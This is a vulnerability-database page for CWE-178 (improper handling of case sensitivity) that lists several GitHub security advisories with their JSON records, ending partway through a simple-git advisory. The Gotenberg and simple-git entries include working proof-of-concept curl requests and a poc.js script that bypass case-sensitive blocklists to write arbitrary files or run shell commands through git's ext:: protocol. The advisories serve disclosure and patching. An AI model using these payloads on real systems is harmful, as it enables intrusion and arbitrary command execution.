Common Weakness Enumeration

CWE-178

Allowed

Improper Handling of Case Sensitivity

Abstraction: Base · Status: Incomplete

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

136 vulnerabilities reference this CWE, most recent first.

GHSA-Q8P7-6FHH-3H44

Vulnerability from github – Published: 2022-04-29 02:58 – Updated: 2025-04-03 04:02
VLAI
Details

Apache for Apple Mac OS X 10.2.8 and 10.3.6 restricts access to files in a case sensitive manner, but the Apple HFS+ filesystem accesses files in a case insensitive manner, which allows remote attackers to read .DS_Store files and files beginning with ".ht" using alternate capitalization.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2004-1083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2004-12-03T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Apache for Apple Mac OS X 10.2.8 and 10.3.6 restricts access to files in a case sensitive manner, but the Apple HFS+ filesystem accesses files in a case insensitive manner, which allows remote attackers to read .DS_Store files and files beginning with \".ht\" using alternate capitalization.",
  "id": "GHSA-q8p7-6fhh-3h44",
  "modified": "2025-04-03T04:02:19Z",
  "published": "2022-04-29T02:58:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-1083"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/18348"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2004/Dec/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2005//Aug/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2005/Aug/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/13362"
    },
    {
      "type": "WEB",
      "url": "http://www.ciac.org/ciac/bulletins/p-049.shtml"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/11802"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9CM-88JX-3VFW

Vulnerability from github – Published: 2025-01-22 18:31 – Updated: 2025-03-19 15:19
VLAI
Summary
Improper handling of case sensitivity in Jenkins OpenId Connect Authentication Plugin
Details

The Jenkins OpenId Connect Authentication Plugin 4.452.v2849b_d3945fa_ and earlier treats usernames as case-insensitive.

On a Jenkins instance configured with a case-sensitive OpenID Connect provider, this allows attackers to log in as any user by providing a username that differs only in letter case, potentially gaining administrator access to Jenkins.

OpenId Connect Authentication Plugin 4.453.v4d7765c854f4 introduces an advanced configuration option to manage username case sensitivity, with default to case-sensitive.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:oic-auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.453.v4d7765c854f4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-276"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-22T19:23:59Z",
    "nvd_published_at": "2025-01-22T17:15:13Z",
    "severity": "HIGH"
  },
  "details": "The Jenkins OpenId Connect Authentication Plugin 4.452.v2849b_d3945fa_ and earlier treats usernames as case-insensitive.\n\nOn a Jenkins instance configured with a case-sensitive OpenID Connect provider, this allows attackers to log in as any user by providing a username that differs only in letter case, potentially gaining administrator access to Jenkins.\n\nOpenId Connect Authentication Plugin 4.453.v4d7765c854f4 introduces an advanced configuration option to manage username case sensitivity, with default to case-sensitive.",
  "id": "GHSA-q9cm-88jx-3vfw",
  "modified": "2025-03-19T15:19:39Z",
  "published": "2025-01-22T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24399"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/oic-auth-plugin/commit/4d7765c854f4f5e6e3c26ed950a26042a7527875"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/oic-auth-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2025-01-22/#SECURITY-3461"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper handling of case sensitivity in Jenkins OpenId Connect Authentication Plugin "
}

GHSA-QC48-8MCW-GXQV

Vulnerability from github – Published: 2022-04-30 18:13 – Updated: 2024-01-26 18:30
VLAI
Details

The default configuration of BEA WebLogic 3.1.8 through 4.5.1 allows a remote attacker to view source code of a JSP program by requesting a URL which provides the JSP extension in upper case.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2000-0499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2000-06-08T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "The default configuration of BEA WebLogic 3.1.8 through 4.5.1 allows a remote attacker to view source code of a JSP program by requesting a URL which provides the JSP extension in upper case.",
  "id": "GHSA-qc48-8mcw-gxqv",
  "modified": "2024-01-26T18:30:28Z",
  "published": "2022-04-30T18:13:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2000-0499"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/4694"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/ntbugtraq/2000-q2/0262.htm"
    },
    {
      "type": "WEB",
      "url": "http://developer.bea.com/alerts/security_000612.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/1328"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QCC2-C9CP-C24W

Vulnerability from github – Published: 2023-04-20 15:30 – Updated: 2024-04-04 03:36
VLAI
Details

An issue was discovered in ONOS 2.5.1. An intent with an uppercase letter in a device ID shows the CORRUPT state, which is misleading to a network operator. Improper handling of case sensitivity causes inconsistency between intent and flow rules in the network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-29604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-20T13:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in ONOS 2.5.1. An intent with an uppercase letter in a device ID shows the CORRUPT state, which is misleading to a network operator. Improper handling of case sensitivity causes inconsistency between intent and flow rules in the network.",
  "id": "GHSA-qcc2-c9cp-c24w",
  "modified": "2024-04-04T03:36:47Z",
  "published": "2023-04-20T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29604"
    },
    {
      "type": "WEB",
      "url": "https://wiki.onosproject.org/display/ONOS/Intent+Framework"
    },
    {
      "type": "WEB",
      "url": "https://www.usenix.org/system/files/sec23fall-prepub-285_kim-jiwon.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QMWH-9M9C-H36M

Vulnerability from github – Published: 2026-04-07 18:16 – Updated: 2026-04-07 18:16
VLAI
Summary
Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags
Details

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

dangerousTags := []string{
    "FileName",  // Writing this triggers a file rename in ExifTool
    "Directory", // Writing this triggers a file move in ExifTool
}
for _, tag := range dangerousTags {
    delete(metadata, tag)
}

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filename, FILENAME, directory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags: - HardLink: creates a hard link to the file at the specified path - SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F files=@sample.pdf \
  -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

$ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
-rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

  1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
  2. Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
  3. Create symbolic links at arbitrary paths via SymLink

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:

dangerousTags := []string{
    "FileName",
    "Directory",
    "HardLink",
    "SymLink",
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.29.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:16:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo\u0027s `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool\u0027s stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F \u0027metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}\u0027\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F \u0027metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}\u0027\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F \u0027metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}\u0027\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }",
  "id": "GHSA-qmwh-9m9c-h36m",
  "modified": "2026-04-07T18:16:22Z",
  "published": "2026-04-07T18:16:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags"
}

GHSA-QP9X-WP8F-QGJJ

Vulnerability from github – Published: 2026-05-28 22:46 – Updated: 2026-05-28 22:46
VLAI
Summary
tuf has platform-dependent delegation path matching
Details

DelegatedRole._is_target_in_pathpattern uses fnmatch.fnmatch to decide whether a given target path is authorized by a delegation's glob pattern.

Python's fnmatch.fnmatch calls os.path.normcase() on both arguments before matching. On POSIX hosts normcase is the identity function; on Windows hosts os.path resolves to ntpath, whose normcase lowercases its input and replaces / with \.

As a result, python-tuf's delegation path pattern matching is case-sensitive on Linux/macOS but case-INSENSITIVE on Windows. This makes the authorization decision for a target dependent on the host operating system of the client running the updater.

The result on Windows is a TUF specification violation in the python-tuf ngclient implementation.

Vulnerable code

tuf/api/_payload.py (HEAD 7ecb67d):

1183  @staticmethod
1184  def _is_target_in_pathpattern(targetpath: str, pathpattern: str) -> bool:
1185      """Determine whether ``targetpath`` matches the ``pathpattern``."""
1186      # We need to make sure that targetpath and pathpattern are pointing to
1187      # the same directory as fnmatch doesn't threat "/" as a special symbol.
1188      target_parts = targetpath.split("/")
1189      pattern_parts = pathpattern.split("/")
1190      if len(target_parts) != len(pattern_parts):
1191          return False
1192
1193      # Every part in the pathpattern could include a glob pattern, that's why
1194      # each of the target and pathpattern parts should match.
1195      for target, pattern in zip(target_parts, pattern_parts, strict=True):
1196          if not fnmatch.fnmatch(target, pattern):
1197              return False
1198      return True

fnmatch.fnmatch source (Python 3.12, unchanged in current mainline):

def fnmatch(name, pat):
    ...
    name = os.path.normcase(name)
    pat = os.path.normcase(pat)
    return fnmatchcase(name, pat)

Fix

Replace fnmatch.fnmatch with fnmatch.fnmatchcase, which is explicitly documented as "not applying case normalization", so it behaves identically across platforms.

Attack

  1. A TUF repository with two path-based delegations whose patterns differ only in case — for example, Foo/* and foo/*.
  2. The "attacker" delegation is listed BEFORE the "legit" delegation in the delegation order.
  3. The client searches for foo/something: on Windows, it will find the "attacker" provided target "Foo/something".

Exploitability caveats

  • The attack needs a repository configuration with case-colliding delegation path patterns. The attacker must control one of the delegated roles.
  • Delegation ordering matters: the attacker-controlled role must be visited BEFORE the legit role in the pre-order walk.
  • The client must run on Windows. No effect on Linux/macOS.

Credit

Reporter: Koda Reef @kodareef5 Advisory edits: Jussi Kukkonen @jku

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "tuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T22:46:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`DelegatedRole._is_target_in_pathpattern` uses `fnmatch.fnmatch` to decide whether a given target path is authorized by a delegation\u0027s glob pattern.\n\nPython\u0027s `fnmatch.fnmatch` calls `os.path.normcase()` on both arguments before matching. On POSIX hosts `normcase` is the identity function; on Windows hosts `os.path` resolves to `ntpath`, whose `normcase` lowercases its input and replaces `/` with `\\`.\n\nAs a result, python-tuf\u0027s delegation *path pattern* matching is case-sensitive on Linux/macOS but case-INSENSITIVE on Windows. This makes the authorization decision for a target dependent on the host operating system of the client running the updater.\n\nThe result on Windows is a TUF specification violation in the python-tuf `ngclient` implementation.\n\n## Vulnerable code\n\n`tuf/api/_payload.py` (HEAD `7ecb67d`):\n\n```python\n1183  @staticmethod\n1184  def _is_target_in_pathpattern(targetpath: str, pathpattern: str) -\u003e bool:\n1185      \"\"\"Determine whether ``targetpath`` matches the ``pathpattern``.\"\"\"\n1186      # We need to make sure that targetpath and pathpattern are pointing to\n1187      # the same directory as fnmatch doesn\u0027t threat \"/\" as a special symbol.\n1188      target_parts = targetpath.split(\"/\")\n1189      pattern_parts = pathpattern.split(\"/\")\n1190      if len(target_parts) != len(pattern_parts):\n1191          return False\n1192\n1193      # Every part in the pathpattern could include a glob pattern, that\u0027s why\n1194      # each of the target and pathpattern parts should match.\n1195      for target, pattern in zip(target_parts, pattern_parts, strict=True):\n1196          if not fnmatch.fnmatch(target, pattern):\n1197              return False\n1198      return True\n```\n\n`fnmatch.fnmatch` source (Python 3.12, unchanged in current mainline):\n\n```python\ndef fnmatch(name, pat):\n    ...\n    name = os.path.normcase(name)\n    pat = os.path.normcase(pat)\n    return fnmatchcase(name, pat)\n```\n\n## Fix\n\nReplace `fnmatch.fnmatch` with `fnmatch.fnmatchcase`, which is explicitly documented as \"not applying case normalization\", so it behaves identically across platforms.\n\n## Attack\n\n1. A TUF repository with two path-based delegations whose patterns differ only in case \u2014 for example, `Foo/*` and `foo/*`.\n2. The \"attacker\" delegation is listed BEFORE the \"legit\" delegation in the delegation order.\n3. The client searches for `foo/something`: on Windows, it will find the \"attacker\" provided target \"Foo/something\".\n\n\n## Exploitability caveats \n\n* The attack needs a repository configuration with case-colliding delegation path patterns. The attacker must control one of the delegated roles.\n* Delegation ordering matters: the attacker-controlled role must be visited BEFORE the legit role in the pre-order walk.\n* The client must run on Windows. No effect on Linux/macOS.\n\n## Credit\n\nReporter: Koda Reef @kodareef5 \nAdvisory edits: Jussi Kukkonen @jku",
  "id": "GHSA-qp9x-wp8f-qgjj",
  "modified": "2026-05-28T22:46:13Z",
  "published": "2026-05-28T22:46:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/theupdateframework/python-tuf/security/advisories/GHSA-qp9x-wp8f-qgjj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/theupdateframework/python-tuf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/theupdateframework/python-tuf/releases/tag/v7.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tuf has platform-dependent delegation path matching"
}

GHSA-QRRC-369R-8GRR

Vulnerability from github – Published: 2023-11-28 09:30 – Updated: 2023-11-28 09:30
VLAI
Details

Improper sanitisation in main/inc/lib/fileUpload.lib.php in Chamilo LMS <= v1.11.20 on Windows and Apache installations allows unauthenticated attackers to bypass file upload security protections and obtain remote code execution via uploading of .htaccess file. This vulnerability may be exploited by privileged attackers or chained with unauthenticated arbitrary file write vulnerabilities, such as CVE-2023-3533, to achieve remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-28T07:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "Improper sanitisation in `main/inc/lib/fileUpload.lib.php` in Chamilo LMS \u003c= v1.11.20 on Windows and Apache installations allows unauthenticated attackers to bypass file upload security protections and obtain remote code execution via uploading of `.htaccess` file. This vulnerability may be exploited by privileged attackers or chained with unauthenticated arbitrary file write vulnerabilities, such as CVE-2023-3533, to achieve remote code execution.",
  "id": "GHSA-qrrc-369r-8grr",
  "modified": "2023-11-28T09:30:26Z",
  "published": "2023-11-28T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chamilo/chamilo-lms/commit/dc7bfce429fbd843a95a57c184b6992c4d709549"
    },
    {
      "type": "WEB",
      "url": "https://starlabs.sg/advisories/23/23-3545"
    },
    {
      "type": "WEB",
      "url": "https://support.chamilo.org/projects/chamilo-18/wiki/security_issues#Issue-125-2023-07-13-Critical-impact-Moderate-risk-Htaccess-File-Upload-Security-Bypass-on-Windows-CVE-2023-3545"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R275-FR43-PM7Q

Vulnerability from github – Published: 2026-03-10 18:38 – Updated: 2026-04-14 21:57
VLAI
Summary
simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE
Details

Summary

The blockUnsafeOperationsPlugin in simple-git fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the ext:: protocol by passing -c PROTOCOL.ALLOW=always, which executes an arbitrary OS command on the host machine.


Details

The preventProtocolOverride function in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts (line 24) checks whether a -c argument configures protocol.allow using this regex:

if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing PROTOCOL.ALLOW=always, Protocol.Allow=always, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

Verification that git normalises the key:

$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always

The fix is a single character — add the /i flag:

// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {

poc.js

/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
//                     '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST     = '/tmp/codeant-quality-gates';
const SENTINEL_RW    = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});

Test Results

Vector 1 — Original CVE-2022-25912 (protocol.ext.allow=always, lowercase)

Result: BLOCKED ✅

The original Snyk PoC payload using lowercase protocol.ext.allow=always is correctly intercepted by preventProtocolOverride before git is invoked. A GitPluginError is thrown immediately and the sentinel file is never created.

Output:

ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
    at .../simple-git/dist/cjs/index.js:1266:40
    at Array.forEach (<anonymous>)
    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
  task: {
    commands: [
      'clone',
      '-c',
      'protocol.ext.allow=always',
      'ext::sh -c touch% /tmp/pwn-original% >&2',
      '/tmp/example-new-repo'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  },
  plugin: 'unsafe'
}

Vector 2 — Uppercase bypass (PROTOCOL.ALLOW=always)

Result: BYPASSED ⚠️ — RCE confirmed

